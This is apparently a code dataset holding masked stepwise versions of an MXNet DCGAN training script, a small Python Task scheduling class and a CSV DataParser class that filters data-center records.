unit='epoch',\n unit_scale=True, mininterval=10, maxinterval=100, dynamic_ncols=True):\n for data, _ in tqdm.tqdm(train_loader, desc='Epoch {}'.format(ep),\n leave=False, unit='batch', unit_scale=True, mininterval=1,\n maxinterval=5, dynamic_ncols=True):\n bs = len(data)\n nosise = make_noises(bs)\n data = data.as_in_context(CTX)\n with autograd.record():\n d_iter_times += 1\n d_update_times += 1\n out = discriminator(data)\n err2real = loss(out, true_label)\n with autograd.predict_mode():\n fake_img = generator(nosise)\n out = discriminator(fake_img.detach())\n err2fake = loss(out, fake_label)\n err4dis = err2real + err2fake\n err4dis.backward()\n trainer_dis.step(bs)\n d_train_loss += err4dis.mean().asscalar()\n if d_iter_times % 5 == 0:\n g_iter_times += 1\n g_update_times += 1\n with autograd.record():\n fake_img = generator(nosise)\n with autograd.predict_mode():\n out = discriminator(fake_img)\n err4gen = loss(out, true_label)\n err4gen.backward()\n trainer_gen.step(bs)\n g_train_loss += err4gen.mean().asscalar()\n g_train_loss /= d_iter_times\n d_train_loss /= g_iter_times\n if should_use_val:\n g_val_loss, d_val_loss = validation(generator,\n discriminator, val_loader)\n history.update([g_train_loss, g_val_loss, d_train_loss,\n d_val_loss])\n logger.info('Generator[train: {}, val: {}]'.format(\n g_train_loss, g_val_loss))\n logger.info('Discriminator[train: {}, val: {}]'.format(\n d_train_loss, d_val_loss))\n else:\n history.update([g_train_loss, d_train_loss])\n logger.info('Generator[{}], Discriminator[{}]'.format(\n g_train_loss, d_train_loss))\n g_train_loss = 0.0\n d_train_loss = 0.0\n d_iter_times = 0\n g_iter_times = 0\n if g_update_times % pred_per_epoch == 0:\n fake = generator(make_noises(1))[0]\n unique_fake = generator(pred_noise)[0]\n pred_path = 'logs/pred-dcgan'\n pred_unique_path = os.path.join(pred_path, 'unique')\n makedirs(pred_path)\n makedirs(pred_unique_path)\n vis.show_img(fake.transpose((1, 2, 0)), save_path=pred_path)\n vis.show_img(unique_fake.transpose((1, 2, 0)), save_path=\n pred_unique_path)\n history.plot(save_path='logs/histories-dcgan')\n if should_save_checkpoint:\n if ep % save_per_epoch == 0:\n generator.save_parameters(os.path.join(save_dir,\n 'generator_{:04d}.params'.format(ep)))\n discriminator.save_parameters(os.path.join(save_dir,\n 'discriminator_{:04d}.params'.format(ep)))\nhistory.plot(save_path='logs/histories-dcgan')\ngenerator.save_parameters(os.path.join(save_dir, 'generator_{:04d}.params'.\n format(ep)))\n",
"step-4": "import os\nimport argparse\nimport logging as logger\nimport mxnet as mx\nimport tqdm\nfrom mxnet import autograd\nfrom mxnet import gluon\nfrom gluoncv.utils import makedirs\nimport datasets as gan_datasets\nfrom utils import vis, get_cpus, TrainingHistory\nimport models\nmx.random.seed(5)\nlogger.basicConfig(level=logger.INFO, filename='logs/train_loss-dcgan.log')\narg = argparse.ArgumentParser(description='training parameters')\narg.add_argument('--lr', type=float, default=0.001, help='learning rate')\narg.add_argument('--batch', type=int, default=32, help='batch size')\narg.add_argument('--epoch', type=int, default=30000, help='training epochs')\narg.add_argument('--continue', type=bool, default=True, help=\n 'should continue with last checkpoint')\narg.add_argument('--save_checkpoint', type=bool, default=True, help=\n 'whether save checkpoint')\narg.add_argument('--save_per_epoch', type=int, default=250, help=\n 'save checkpoint every specific epochs')\narg.add_argument('--save_dir', type=str, default='saved/params-dcgan', help\n ='check point save path')\narg.add_argument('--cuda', type=bool, default=False, help=\n 'whether use gpu, default is True')\narg.add_argument('--pred_per_gen', type=int, default=15, help=\n 'make a pred every specific epoch')\narg.add_argument('--validation', type=bool, default=False, help=\n 'whether use validation set, default: False')\narg.add_argument('--dataset', type=str, default='rem_face', help=\n 'rem, miku, face，rem_face')\nopt = arg.parse_args()\nepoch = opt.epoch\nepoch_start = 0\nbatch_size = opt.batch\nlr = opt.lr\nshould_save_checkpoint = opt.save_checkpoint\nsave_per_epoch = opt.save_per_epoch\nsave_dir = opt.save_dir\npred_per_epoch = opt.pred_per_epoch\nshould_use_val = opt.validation\ndataset = opt.dataset\ndataset_loader = getattr(gan_datasets, 'load_{}'.format(dataset))\nCTX = mx.gpu() if opt.cuda else mx.cpu()\nlogger.info('Will use {}'.format(CTX))\nlogger.info('Prepare data')\ntfs_train = gluon.data.vision.transforms.Compose([gluon.data.vision.\n transforms.Resize(size=(256, 256), interpolation=2), gluon.data.vision.\n transforms.RandomFlipLeftRight(), gluon.data.vision.transforms.\n RandomSaturation(0.005), gluon.data.vision.transforms.ToTensor(), gluon\n .data.vision.transforms.Normalize(mean=(0.5, 0.5, 0.5), std=(0.5, 0.5, \n 0.5))])\ntfs_val = gluon.data.vision.transforms.Compose([gluon.data.vision.\n transforms.Resize(size=(256, 256), interpolation=2), gluon.data.vision.\n transforms.ToTensor(), gluon.data.vision.transforms.Normalize(mean=(0.5,\n 0.5, 0.5), std=(0.5, 0.5, 0.5))])\ntrain_set, val_set = dataset_loader()\ntrain_loader = gluon.data.DataLoader(train_set.transform_first(tfs_train),\n batch_size=batch_size, shuffle=True, last_batch='rollover', num_workers\n =get_cpus(), pin_memory=True)\nif val_set:\n val_loader = gluon.data.DataLoader(val_set.transform_first(tfs_val),\n batch_size=batch_size, shuffle=False, last_batch='rollover',\n num_workers=get_cpus(), pin_memory=True)\ngenerator = models.make_gen('v4')\ndiscriminator = models.make_dis()\ngenerator.initialize(init=mx.init.Normal(0.02), ctx=CTX)\ndiscriminator.initialize(init=mx.init.Normal(0.02), ctx=CTX)\nif getattr(opt, 'continue'):\n import utils\n makedirs(save_dir)\n epoch_start = utils.load_model_from_params(generator, discriminator,\n save_dir)\n logger.info('Continue training at {}, and rest epochs {}'.format(\n epoch_start, epoch - epoch_start))\ngenerator.hybridize()\ndiscriminator.hybridize()\nlogger.info('Prepare training')\nif should_use_val:\n history_labels = ['gloss', 'gval_loss', 'dloss', 'dval_loss']\nelse:\n history_labels = ['gloss', 'dloss']\nhistory = TrainingHistory(labels=history_labels)\nloss = gluon.loss.SigmoidBinaryCrossEntropyLoss(from_sigmoid=False)\ntrainer_gen = gluon.Trainer(generator.collect_params(), optimizer='adam',\n optimizer_params={'learning_rate': lr, 'beta1': 0.5})\ntrainer_dis = gluon.Trainer(discriminator.collect_params(), optimizer=\n 'adam', optimizer_params={'learning_rate': lr, 'beta1': 0.5})\ntrue_label = mx.nd.ones((batch_size,), ctx=CTX)\nfake_label = mx.nd.zeros((batch_size,), ctx=CTX)\n\n\ndef make_noises(bs):\n return mx.nd.random_normal(0, 1, shape=(bs, 512), ctx=CTX, dtype='float32'\n ).reshape((bs, 512, 1, 1))\n\n\npred_noise = make_noises(1)\nmx.nd.save('pred_noise', pred_noise)\n\n\ndef validation(g, d, val_loader):\n g_val_loss = 0.0\n d_val_loss = 0.0\n iter_times = 0\n for data, _ in tqdm.tqdm(val_loader, desc='Validating', leave=False,\n unit='batch', unit_scale=True, mininterval=1, maxinterval=5,\n dynamic_ncols=True):\n iter_times += 1\n bs = len(data)\n nosise = make_noises(bs)\n data = data.as_in_context(CTX)\n with autograd.predict_mode():\n out = d(data)\n err2real = loss(out, true_label)\n fake_img = g(nosise)\n out = d(fake_img)\n err2fake = loss(out, fake_label)\n err4dis = err2real + err2fake\n d_val_loss += err4dis.mean().asscalar()\n fake_img = g(nosise)\n out = d(fake_img)\n err4gen = loss(out, true_label)\n g_val_loss += err4gen.mean().asscalar()\n return g_val_loss / iter_times, d_val_loss / iter_times\n\n\nd_iter_times = 0\ng_iter_times = 0\nd_update_times = 0\ng_update_times = 0\ng_train_loss = 0.0\nd_train_loss = 0.0\nlogger.info('Begin training')\nfor ep in tqdm.tqdm(range(epoch_start, epoch + 1), total=epoch, desc=\n 'Total Progress', leave=False, initial=epoch_start, unit='epoch',\n unit_scale=True, mininterval=10, maxinterval=100, dynamic_ncols=True):\n for data, _ in tqdm.tqdm(train_loader, desc='Epoch {}'.format(ep),\n leave=False, unit='batch', unit_scale=True, mininterval=1,\n maxinterval=5, dynamic_ncols=True):\n bs = len(data)\n nosise = make_noises(bs)\n data = data.as_in_context(CTX)\n with autograd.record():\n d_iter_times += 1\n d_update_times += 1\n out = discriminator(data)\n err2real = loss(out, true_label)\n with autograd.predict_mode():\n fake_img = generator(nosise)\n out = discriminator(fake_img.detach())\n err2fake = loss(out, fake_label)\n err4dis = err2real + err2fake\n err4dis.backward()\n trainer_dis.step(bs)\n d_train_loss += err4dis.mean().asscalar()\n if d_iter_times % 5 == 0:\n g_iter_times += 1\n g_update_times += 1\n with autograd.record():\n fake_img = generator(nosise)\n with autograd.predict_mode():\n out = discriminator(fake_img)\n err4gen = loss(out, true_label)\n err4gen.backward()\n trainer_gen.step(bs)\n g_train_loss += err4gen.mean().asscalar()\n g_train_loss /= d_iter_times\n d_train_loss /= g_iter_times\n if should_use_val:\n g_val_loss, d_val_loss = validation(generator,\n discriminator, val_loader)\n history.update([g_train_loss, g_val_loss, d_train_loss,\n d_val_loss])\n logger.info('Generator[train: {}, val: {}]'.format(\n g_train_loss, g_val_loss))\n logger.info('Discriminator[train: {}, val: {}]'.format(\n d_train_loss, d_val_loss))\n else:\n history.update([g_train_loss, d_train_loss])\n logger.info('Generator[{}], Discriminator[{}]'.format(\n g_train_loss, d_train_loss))\n g_train_loss = 0.0\n d_train_loss = 0.0\n d_iter_times = 0\n g_iter_times = 0\n if g_update_times % pred_per_epoch == 0:\n fake = generator(make_noises(1))[0]\n unique_fake = generator(pred_noise)[0]\n pred_path = 'logs/pred-dcgan'\n pred_unique_path = os.path.join(pred_path, 'unique')\n makedirs(pred_path)\n makedirs(pred_unique_path)\n vis.show_img(fake.transpose((1, 2, 0)), save_path=pred_path)\n vis.show_img(unique_fake.transpose((1, 2, 0)), save_path=\n pred_unique_path)\n history.plot(save_path='logs/histories-dcgan')\n if should_save_checkpoint:\n if ep % save_per_epoch == 0:\n generator.save_parameters(os.path.join(save_dir,\n 'generator_{:04d}.params'.format(ep)))\n discriminator.save_parameters(os.path.join(save_dir,\n 'discriminator_{:04d}.params'.format(ep)))\nhistory.plot(save_path='logs/histories-dcgan')\ngenerator.save_parameters(os.path.join(save_dir, 'generator_{:04d}.params'.\n format(ep)))\n",
"step-5": "# %% import libs\nimport os\nimport argparse\nimport logging as logger\nimport mxnet as mx\nimport tqdm\nfrom mxnet import autograd\nfrom mxnet import gluon\nfrom gluoncv.utils import makedirs\n\nimport datasets as gan_datasets\nfrom utils import vis, get_cpus, TrainingHistory\nimport models\n\nmx.random.seed(5)\nlogger.basicConfig(level=logger.INFO, filename='logs/train_loss-dcgan.log')\n\narg = argparse.ArgumentParser(description=\"training parameters\")\narg.add_argument('--lr', type=float, default=0.001, help='learning rate')\narg.add_argument('--batch', type=int, default=32, help='batch size')\narg.add_argument('--epoch', type=int, default=30000, help='training epochs')\narg.add_argument('--continue', type=bool, default=True, help='should continue with last checkpoint')\narg.add_argument('--save_checkpoint', type=bool, default=True, help='whether save checkpoint')\narg.add_argument('--save_per_epoch', type=int, default=250, help='save checkpoint every specific epochs')\narg.add_argument('--save_dir', type=str, default='saved/params-dcgan', help='check point save path')\narg.add_argument('--cuda', type=bool, default=False, help='whether use gpu, default is True')\narg.add_argument('--pred_per_gen', type=int, default=15, help='make a pred every specific epoch')\narg.add_argument('--validation', type=bool, default=False, help='whether use validation set, default: False')\narg.add_argument('--dataset', type=str, default='rem_face', help='rem, miku, face，rem_face')\n\nopt = arg.parse_args()\n\n# %% define parameters\nepoch = opt.epoch\nepoch_start = 0\nbatch_size = opt.batch\nlr = opt.lr\nshould_save_checkpoint = opt.save_checkpoint\nsave_per_epoch = opt.save_per_epoch\nsave_dir = opt.save_dir\npred_per_epoch = opt.pred_per_epoch\nshould_use_val = opt.validation\ndataset = opt.dataset\ndataset_loader = getattr(gan_datasets, 'load_{}'.format(dataset))\n\nCTX = mx.gpu() if opt.cuda else mx.cpu()\nlogger.info('Will use {}'.format(CTX))\n\n# %% define dataloader\nlogger.info(\"Prepare data\")\n# noinspection PyTypeChecker\ntfs_train = gluon.data.vision.transforms.Compose([\n gluon.data.vision.transforms.Resize(size=(256, 256), interpolation=2),\n gluon.data.vision.transforms.RandomFlipLeftRight(),\n gluon.data.vision.transforms.RandomSaturation(0.005),\n gluon.data.vision.transforms.ToTensor(),\n gluon.data.vision.transforms.Normalize(mean=(0.5, 0.5, 0.5), std=(0.5, 0.5, 0.5))\n])\n\n# noinspection PyTypeChecker\ntfs_val = gluon.data.vision.transforms.Compose([\n gluon.data.vision.transforms.Resize(size=(256, 256), interpolation=2),\n gluon.data.vision.transforms.ToTensor(),\n gluon.data.vision.transforms.Normalize(mean=(0.5, 0.5, 0.5), std=(0.5, 0.5, 0.5))\n])\n\ntrain_set, val_set = dataset_loader()\ntrain_loader = gluon.data.DataLoader(train_set.transform_first(tfs_train),\n batch_size=batch_size, shuffle=True,\n last_batch='rollover', num_workers=get_cpus(), pin_memory=True)\nif val_set:\n val_loader = gluon.data.DataLoader(val_set.transform_first(tfs_val),\n batch_size=batch_size, shuffle=False,\n last_batch='rollover', num_workers=get_cpus(), pin_memory=True)\n\n# %% define models\ngenerator = models.make_gen('v4')\ndiscriminator = models.make_dis()\ngenerator.initialize(init=mx.init.Normal(0.02), ctx=CTX)\ndiscriminator.initialize(init=mx.init.Normal(0.02), ctx=CTX)\nif getattr(opt, 'continue'):\n import utils\n\n makedirs(save_dir)\n epoch_start = utils.load_model_from_params(generator, discriminator, save_dir)\n logger.info('Continue training at {}, and rest epochs {}'.format(epoch_start, epoch - epoch_start))\n\ngenerator.hybridize()\ndiscriminator.hybridize()\n\n# %% prepare training\nlogger.info(\"Prepare training\")\nif should_use_val:\n history_labels = ['gloss', 'gval_loss', 'dloss', 'dval_loss']\nelse:\n history_labels = ['gloss', 'dloss']\nhistory = TrainingHistory(labels=history_labels)\nloss = gluon.loss.SigmoidBinaryCrossEntropyLoss(from_sigmoid=False)\ntrainer_gen = gluon.Trainer(generator.collect_params(), optimizer='adam', optimizer_params={\n 'learning_rate': lr,\n 'beta1': 0.5\n})\ntrainer_dis = gluon.Trainer(discriminator.collect_params(), optimizer='adam', optimizer_params={\n 'learning_rate': lr,\n 'beta1': 0.5\n})\ntrue_label = mx.nd.ones((batch_size,), ctx=CTX)\nfake_label = mx.nd.zeros((batch_size,), ctx=CTX)\n\n\ndef make_noises(bs):\n return mx.nd.random_normal(0, 1, shape=(bs, 512), ctx=CTX, dtype='float32').reshape((bs, 512, 1, 1))\n\n\npred_noise = make_noises(1)\nmx.nd.save('pred_noise', pred_noise)\n\n\ndef validation(g, d, val_loader):\n g_val_loss = 0.0\n d_val_loss = 0.0\n iter_times = 0\n for data, _ in tqdm.tqdm(\n val_loader,\n desc=\"Validating\",\n leave=False,\n unit='batch',\n unit_scale=True,\n mininterval=1,\n maxinterval=5,\n dynamic_ncols=True):\n iter_times += 1\n bs = len(data)\n nosise = make_noises(bs)\n data = data.as_in_context(CTX)\n with autograd.predict_mode():\n # loss for d\n out = d(data)\n err2real = loss(out, true_label)\n\n fake_img = g(nosise)\n out = d(fake_img)\n err2fake = loss(out, fake_label)\n\n err4dis = err2real + err2fake\n d_val_loss += err4dis.mean().asscalar()\n\n # loss for g\n fake_img = g(nosise)\n out = d(fake_img)\n err4gen = loss(out, true_label)\n g_val_loss += err4gen.mean().asscalar()\n return g_val_loss / iter_times, d_val_loss / iter_times\n\n\n# %% begin training\nd_iter_times = 0\ng_iter_times = 0\nd_update_times = 0\ng_update_times = 0\ng_train_loss = 0.0\nd_train_loss = 0.0\nlogger.info(\"Begin training\")\nfor ep in tqdm.tqdm(range(epoch_start, epoch + 1),\n total=epoch,\n desc=\"Total Progress\",\n leave=False,\n initial=epoch_start,\n unit='epoch',\n unit_scale=True,\n mininterval=10,\n maxinterval=100,\n dynamic_ncols=True):\n\n for data, _ in tqdm.tqdm(\n train_loader,\n desc=\"Epoch {}\".format(ep),\n leave=False,\n unit='batch',\n unit_scale=True,\n mininterval=1,\n maxinterval=5,\n dynamic_ncols=True):\n bs = len(data)\n nosise = make_noises(bs)\n data = data.as_in_context(CTX)\n # begin training discriminator\n with autograd.record():\n d_iter_times += 1\n d_update_times += 1\n # train with real image\n out = discriminator(data)\n err2real = loss(out, true_label)\n\n # train with fake image\n # detach the input, or its gradients will be computed\n with autograd.predict_mode():\n fake_img = generator(nosise)\n out = discriminator(fake_img.detach())\n err2fake = loss(out, fake_label)\n\n err4dis = err2real + err2fake\n err4dis.backward()\n trainer_dis.step(bs)\n d_train_loss += err4dis.mean().asscalar()\n\n if d_iter_times % 5 == 0:\n g_iter_times += 1\n g_update_times += 1\n # begin training generator\n with autograd.record():\n fake_img = generator(nosise)\n with autograd.predict_mode():\n out = discriminator(fake_img)\n err4gen = loss(out, true_label)\n err4gen.backward()\n trainer_gen.step(bs)\n g_train_loss += err4gen.mean().asscalar()\n\n g_train_loss /= d_iter_times\n d_train_loss /= g_iter_times\n\n # use validation set or not\n if should_use_val:\n g_val_loss, d_val_loss = validation(generator, discriminator, val_loader)\n history.update([g_train_loss, g_val_loss, d_train_loss, d_val_loss])\n logger.info(\"Generator[train: {}, val: {}]\".format(g_train_loss, g_val_loss))\n logger.info(\"Discriminator[train: {}, val: {}]\".format(d_train_loss, d_val_loss))\n else:\n history.update([g_train_loss, d_train_loss])\n logger.info(\"Generator[{}], Discriminator[{}]\".format(g_train_loss, d_train_loss))\n\n g_train_loss = 0.0\n d_train_loss = 0.0\n d_iter_times = 0\n g_iter_times = 0\n\n # make a prediction\n if g_update_times % pred_per_epoch == 0:\n fake = generator(make_noises(1))[0]\n unique_fake = generator(pred_noise)[0]\n pred_path = 'logs/pred-dcgan'\n pred_unique_path = os.path.join(pred_path, 'unique')\n makedirs(pred_path)\n makedirs(pred_unique_path)\n vis.show_img(fake.transpose((1, 2, 0)), save_path=pred_path)\n vis.show_img(unique_fake.transpose((1, 2, 0)), save_path=pred_unique_path)\n\n # save history plot every epoch\n history.plot(save_path='logs/histories-dcgan')\n\n # save checkpoint\n if should_save_checkpoint:\n if ep % save_per_epoch == 0:\n generator.save_parameters(os.path.join(save_dir, 'generator_{:04d}.params'.format(ep)))\n discriminator.save_parameters(os.path.join(save_dir, 'discriminator_{:04d}.params'.format(ep)))\n\nhistory.plot(save_path='logs/histories-dcgan')\ngenerator.save_parameters(os.path.join(save_dir, 'generator_{:04d}.params'.format(ep)))\n",
"step-ids": [
1,
3,
4,
5,
6
]
}
|
[
1,
3,
4,
5,
6
] |
from time import time
class Task:
def __init__(self, f, ready: float):
self._f = f
self._ready = ready
def set_ready(self, ready: float) -> None:
self._ready = ready
def get_ready(self) -> float:
return self._ready
def __call__(self) -> None:
self._f()
def __lt__(self, other) -> bool:
return self._ready < other.get_ready()
def __str__(self):
return "Task(" + str(self._ready) + ")"
|
normal
|
{
"blob_id": "b094693b11fdc4f5fbff30e79a9f82d40104611d",
"index": 2697,
"step-1": "<mask token>\n\n\nclass Task:\n <mask token>\n\n def set_ready(self, ready: float) ->None:\n self._ready = ready\n <mask token>\n\n def __call__(self) ->None:\n self._f()\n <mask token>\n\n def __str__(self):\n return 'Task(' + str(self._ready) + ')'\n",
"step-2": "<mask token>\n\n\nclass Task:\n <mask token>\n\n def set_ready(self, ready: float) ->None:\n self._ready = ready\n\n def get_ready(self) ->float:\n return self._ready\n\n def __call__(self) ->None:\n self._f()\n <mask token>\n\n def __str__(self):\n return 'Task(' + str(self._ready) + ')'\n",
"step-3": "<mask token>\n\n\nclass Task:\n\n def __init__(self, f, ready: float):\n self._f = f\n self._ready = ready\n\n def set_ready(self, ready: float) ->None:\n self._ready = ready\n\n def get_ready(self) ->float:\n return self._ready\n\n def __call__(self) ->None:\n self._f()\n <mask token>\n\n def __str__(self):\n return 'Task(' + str(self._ready) + ')'\n",
"step-4": "<mask token>\n\n\nclass Task:\n\n def __init__(self, f, ready: float):\n self._f = f\n self._ready = ready\n\n def set_ready(self, ready: float) ->None:\n self._ready = ready\n\n def get_ready(self) ->float:\n return self._ready\n\n def __call__(self) ->None:\n self._f()\n\n def __lt__(self, other) ->bool:\n return self._ready < other.get_ready()\n\n def __str__(self):\n return 'Task(' + str(self._ready) + ')'\n",
"step-5": "from time import time\n\nclass Task:\n def __init__(self, f, ready: float):\n self._f = f\n self._ready = ready\n\n def set_ready(self, ready: float) -> None:\n self._ready = ready\n\n def get_ready(self) -> float:\n return self._ready\n\n def __call__(self) -> None:\n self._f()\n\n def __lt__(self, other) -> bool:\n return self._ready < other.get_ready()\n\n def __str__(self):\n return \"Task(\" + str(self._ready) + \")\"\n",
"step-ids": [
4,
5,
6,
7,
9
]
}
|
[
4,
5,
6,
7,
9
] |
"""
Program file: DataParser.py.
This program parses and returns a dataset for a plotting program
"""
from sys import exit
from csv import Sniffer, DictReader
class DataParser:
"""
Summary: parses a data file, and returns list of the filtered data.
Instances:
1. accepted_records
2. ignored_records
Methods:
1. valid_value
2. create_reader
3. create_dataset
4. get_dataset
"""
def __init__(self, csvfile, data_centers):
"""DataParser constructor."""
self.accepted_records = []
self.ignored_records = []
with open(csvfile, 'r') as file:
# Creates a reader object for later data manipulation
reader = self.create_reader(file)
# Resetting read/write pointer to beginning of file
file.seek(0)
# Creating list for graphing data center's dataset
self.create_dataset(reader, data_centers)
def valid_value(self, number):
"""
Summary: Checks that value is a valid positive number.
Description: Accepts positive whole and decimal numbers.
"""
try:
# Checking that entered value can be converted to a float.
# Excludes letters and symbols.
float(number)
# Checking that validated number is nonnegative.
if float(number) > 0:
return True
return False
except ValueError:
return False
def create_reader(self, csvfile):
"""
Summary: Validates a csv file, returns a DictReader object.
Description: Takes one argument: "data" (Should be a csv file)
"""
# Determines the dialect of the csv file for processing
file_dialect = Sniffer().sniff(csvfile.read(1024))
# Resets the read/write pointer within the file
csvfile.seek(0)
# Checks to see that the csv file imported has a header row,
# that will be used for later parsing.
if not Sniffer().has_header(csvfile.read(1024)):
print('Imported csv file lacks header row')
exit()
# Resets the read/write pointer within the file
csvfile.seek(0)
# Creates a DictReader object with the csvfile provided, and the
# dialect object to define the parameters of the reader instance.
reader = DictReader(csvfile, dialect=file_dialect)
# Return DictReader object
return reader
def create_dataset(self, reader=None, data_centers=None):
"""
Summary: Creates a dataset of dcs and their respective times, values.
Arguments: 'reader' defines a reader object used to read a csv file.
'dataCenters' is a list containing data center names that are to be
graphed.
"""
for row in reader:
# Checking that the 'DC' matches one defined in "data_centers" list
if row.get('DC') in data_centers:
# Validating DC's value is a positive nonnegative number.
if not self.valid_value(row.get('Value')):
# Archiving ignored records for later analysis
self.ignored_records.append(row)
else:
self.accepted_records.append(
[
row.get('DC'),
float(row.get('Time')),
float(row.get('Value'))
]
)
def get_dataset(self):
"""Getter for accepted_records list."""
return self.accepted_records
|
normal
|
{
"blob_id": "af609f1558276bab96477d3a2c61d813b9dd3d82",
"index": 9660,
"step-1": "<mask token>\n\n\nclass DataParser:\n <mask token>\n\n def __init__(self, csvfile, data_centers):\n \"\"\"DataParser constructor.\"\"\"\n self.accepted_records = []\n self.ignored_records = []\n with open(csvfile, 'r') as file:\n reader = self.create_reader(file)\n file.seek(0)\n self.create_dataset(reader, data_centers)\n\n def valid_value(self, number):\n \"\"\"\n Summary: Checks that value is a valid positive number.\n\n Description: Accepts positive whole and decimal numbers.\n \"\"\"\n try:\n float(number)\n if float(number) > 0:\n return True\n return False\n except ValueError:\n return False\n\n def create_reader(self, csvfile):\n \"\"\"\n Summary: Validates a csv file, returns a DictReader object.\n\n Description: Takes one argument: \"data\" (Should be a csv file)\n \"\"\"\n file_dialect = Sniffer().sniff(csvfile.read(1024))\n csvfile.seek(0)\n if not Sniffer().has_header(csvfile.read(1024)):\n print('Imported csv file lacks header row')\n exit()\n csvfile.seek(0)\n reader = DictReader(csvfile, dialect=file_dialect)\n return reader\n <mask token>\n\n def get_dataset(self):\n \"\"\"Getter for accepted_records list.\"\"\"\n return self.accepted_records\n",
"step-2": "<mask token>\n\n\nclass DataParser:\n <mask token>\n\n def __init__(self, csvfile, data_centers):\n \"\"\"DataParser constructor.\"\"\"\n self.accepted_records = []\n self.ignored_records = []\n with open(csvfile, 'r') as file:\n reader = self.create_reader(file)\n file.seek(0)\n self.create_dataset(reader, data_centers)\n\n def valid_value(self, number):\n \"\"\"\n Summary: Checks that value is a valid positive number.\n\n Description: Accepts positive whole and decimal numbers.\n \"\"\"\n try:\n float(number)\n if float(number) > 0:\n return True\n return False\n except ValueError:\n return False\n\n def create_reader(self, csvfile):\n \"\"\"\n Summary: Validates a csv file, returns a DictReader object.\n\n Description: Takes one argument: \"data\" (Should be a csv file)\n \"\"\"\n file_dialect = Sniffer().sniff(csvfile.read(1024))\n csvfile.seek(0)\n if not Sniffer().has_header(csvfile.read(1024)):\n print('Imported csv file lacks header row')\n exit()\n csvfile.seek(0)\n reader = DictReader(csvfile, dialect=file_dialect)\n return reader\n\n def create_dataset(self, reader=None, data_centers=None):\n \"\"\"\n Summary: Creates a dataset of dcs and their respective times, values.\n\n Arguments: 'reader' defines a reader object used to read a csv file.\n 'dataCenters' is a list containing data center names that are to be\n graphed.\n \"\"\"\n for row in reader:\n if row.get('DC') in data_centers:\n if not self.valid_value(row.get('Value')):\n self.ignored_records.append(row)\n else:\n self.accepted_records.append([row.get('DC'), float(row.\n get('Time')), float(row.get('Value'))])\n\n def get_dataset(self):\n \"\"\"Getter for accepted_records list.\"\"\"\n return self.accepted_records\n",
"step-3": "<mask token>\n\n\nclass DataParser:\n \"\"\"\n Summary: parses a data file, and returns list of the filtered data.\n\n Instances:\n 1. accepted_records\n 2. ignored_records\n\n Methods:\n 1. valid_value\n 2. create_reader\n 3. create_dataset\n 4. get_dataset\n \"\"\"\n\n def __init__(self, csvfile, data_centers):\n \"\"\"DataParser constructor.\"\"\"\n self.accepted_records = []\n self.ignored_records = []\n with open(csvfile, 'r') as file:\n reader = self.create_reader(file)\n file.seek(0)\n self.create_dataset(reader, data_centers)\n\n def valid_value(self, number):\n \"\"\"\n Summary: Checks that value is a valid positive number.\n\n Description: Accepts positive whole and decimal numbers.\n \"\"\"\n try:\n float(number)\n if float(number) > 0:\n return True\n return False\n except ValueError:\n return False\n\n def create_reader(self, csvfile):\n \"\"\"\n Summary: Validates a csv file, returns a DictReader object.\n\n Description: Takes one argument: \"data\" (Should be a csv file)\n \"\"\"\n file_dialect = Sniffer().sniff(csvfile.read(1024))\n csvfile.seek(0)\n if not Sniffer().has_header(csvfile.read(1024)):\n print('Imported csv file lacks header row')\n exit()\n csvfile.seek(0)\n reader = DictReader(csvfile, dialect=file_dialect)\n return reader\n\n def create_dataset(self, reader=None, data_centers=None):\n \"\"\"\n Summary: Creates a dataset of dcs and their respective times, values.\n\n Arguments: 'reader' defines a reader object used to read a csv file.\n 'dataCenters' is a list containing data center names that are to be\n graphed.\n \"\"\"\n for row in reader:\n if row.get('DC') in data_centers:\n if not self.valid_value(row.get('Value')):\n self.ignored_records.append(row)\n else:\n self.accepted_records.append([row.get('DC'), float(row.\n get('Time')), float(row.get('Value'))])\n\n def get_dataset(self):\n \"\"\"Getter for accepted_records list.\"\"\"\n return self.accepted_records\n",
"step-4": "<mask token>\nfrom sys import exit\nfrom csv import Sniffer, DictReader\n\n\nclass DataParser:\n \"\"\"\n Summary: parses a data file, and returns list of the filtered data.\n\n Instances:\n 1. accepted_records\n 2. ignored_records\n\n Methods:\n 1. valid_value\n 2. create_reader\n 3. create_dataset\n 4. get_dataset\n \"\"\"\n\n def __init__(self, csvfile, data_centers):\n \"\"\"DataParser constructor.\"\"\"\n self.accepted_records = []\n self.ignored_records = []\n with open(csvfile, 'r') as file:\n reader = self.create_reader(file)\n file.seek(0)\n self.create_dataset(reader, data_centers)\n\n def valid_value(self, number):\n \"\"\"\n Summary: Checks that value is a valid positive number.\n\n Description: Accepts positive whole and decimal numbers.\n \"\"\"\n try:\n float(number)\n if float(number) > 0:\n return True\n return False\n except ValueError:\n return False\n\n def create_reader(self, csvfile):\n \"\"\"\n Summary: Validates a csv file, returns a DictReader object.\n\n Description: Takes one argument: \"data\" (Should be a csv file)\n \"\"\"\n file_dialect = Sniffer().sniff(csvfile.read(1024))\n csvfile.seek(0)\n if not Sniffer().has_header(csvfile.read(1024)):\n print('Imported csv file lacks header row')\n exit()\n csvfile.seek(0)\n reader = DictReader(csvfile, dialect=file_dialect)\n return reader\n\n def create_dataset(self, reader=None, data_centers=None):\n \"\"\"\n Summary: Creates a dataset of dcs and their respective times, values.\n\n Arguments: 'reader' defines a reader object used to read a csv file.\n 'dataCenters' is a list containing data center names that are to be\n graphed.\n \"\"\"\n for row in reader:\n if row.get('DC') in data_centers:\n if not self.valid_value(row.get('Value')):\n self.ignored_records.append(row)\n else:\n self.accepted_records.append([row.get('DC'), float(row.\n get('Time')), float(row.get('Value'))])\n\n def get_dataset(self):\n \"\"\"Getter for accepted_records list.\"\"\"\n return self.accepted_records\n",
"step-5": "\"\"\"\nProgram file: DataParser.py.\n\nThis program parses and returns a dataset for a plotting program\n\"\"\"\n\nfrom sys import exit\nfrom csv import Sniffer, DictReader\n\n\nclass DataParser:\n \"\"\"\n Summary: parses a data file, and returns list of the filtered data.\n\n Instances:\n 1. accepted_records\n 2. ignored_records\n\n Methods:\n 1. valid_value\n 2. create_reader\n 3. create_dataset\n 4. get_dataset\n \"\"\"\n\n def __init__(self, csvfile, data_centers):\n \"\"\"DataParser constructor.\"\"\"\n self.accepted_records = []\n self.ignored_records = []\n\n with open(csvfile, 'r') as file:\n # Creates a reader object for later data manipulation\n reader = self.create_reader(file)\n\n # Resetting read/write pointer to beginning of file\n file.seek(0)\n\n # Creating list for graphing data center's dataset\n self.create_dataset(reader, data_centers)\n\n def valid_value(self, number):\n \"\"\"\n Summary: Checks that value is a valid positive number.\n\n Description: 